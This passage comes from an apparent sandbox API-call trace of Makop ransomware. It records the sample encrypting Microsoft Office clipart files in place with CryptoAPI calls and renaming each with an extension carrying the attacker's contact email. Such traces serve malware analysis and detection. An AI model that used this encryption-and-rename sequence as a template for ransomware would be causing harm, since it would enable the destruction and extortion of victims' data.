lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.955] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.955] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.955] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.955] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15f4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x15f4, lpOverlapped=0x0) returned 1 [0127.959] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1600, dwBufLen=0x1600 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1600) returned 1 [0127.959] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.959] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1600, lpOverlapped=0x0) returned 1 [0127.960] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.960] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.960] SetEndOfFile (hFile=0xf0) returned 1 [0127.968] GetProcessHeap () returned 0x48a0000 [0127.968] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.968] GetProcessHeap () returned 0x48a0000 [0127.968] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.968] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.970] CloseHandle (hObject=0xf0) returned 1 [0127.970] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187895.WMF", cAlternateFileName="")) returned 1 [0127.970] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0127.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.971] GetProcessHeap () returned 0x48a0000 [0127.971] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.971] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.972] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.972] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.972] GetProcessHeap () returned 0x48a0000 [0127.972] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.972] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.972] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.972] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.977] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.977] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.977] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.977] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.977] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.978] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.978] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.978] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.978] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd90, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd90, lpOverlapped=0x0) returned 1 [0127.978] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd90, dwBufLen=0xd90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd90) returned 1 [0127.978] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.978] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd90, lpOverlapped=0x0) returned 1 [0127.978] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.978] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.978] SetEndOfFile (hFile=0xf0) returned 1 [0127.986] GetProcessHeap () returned 0x48a0000 [0127.986] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.986] GetProcessHeap () returned 0x48a0000 [0127.986] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.986] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.986] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.988] CloseHandle (hObject=0xf0) returned 1 [0127.988] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187921.WMF", cAlternateFileName="")) returned 1 [0127.988] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0127.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.993] GetProcessHeap () returned 0x48a0000 [0127.993] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.993] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.993] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.993] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.003] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.004] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.004] GetProcessHeap () returned 0x48a0000 [0128.004] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.004] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.004] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.004] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.004] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.004] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.004] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.005] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.005] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.005] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1388, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1388, lpOverlapped=0x0) returned 1 [0128.007] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1390, dwBufLen=0x1390 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1390) returned 1 [0128.007] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.007] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1390, lpOverlapped=0x0) returned 1 [0128.007] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.007] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.008] SetEndOfFile (hFile=0xf0) returned 1 [0128.015] GetProcessHeap () returned 0x48a0000 [0128.015] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.015] GetProcessHeap () returned 0x48a0000 [0128.015] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.015] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.015] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.017] CloseHandle (hObject=0xf0) returned 1 [0128.017] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188511.WMF", cAlternateFileName="")) returned 1 [0128.017] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0128.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.020] GetProcessHeap () returned 0x48a0000 [0128.020] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.020] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.020] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.020] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.027] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.027] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.027] GetProcessHeap () returned 0x48a0000 [0128.027] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.027] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.027] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.027] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.027] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.027] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.028] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.028] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.028] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.029] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.029] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.029] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.029] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x29dc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x29dc, lpOverlapped=0x0) returned 1 [0128.030] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x29e0, dwBufLen=0x29e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x29e0) returned 1 [0128.031] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.031] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x29e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x29e0, lpOverlapped=0x0) returned 1 [0128.031] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.031] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.031] SetEndOfFile (hFile=0xf0) returned 1 [0128.038] GetProcessHeap () returned 0x48a0000 [0128.038] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.038] GetProcessHeap () returned 0x48a0000 [0128.038] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.038] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.039] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.040] CloseHandle (hObject=0xf0) returned 1 [0128.041] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188513.WMF", cAlternateFileName="")) returned 1 [0128.041] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0128.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.042] GetProcessHeap () returned 0x48a0000 [0128.042] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.042] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.042] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0128.050] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.050] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.050] GetProcessHeap () returned 0x48a0000 [0128.050] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.050] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, 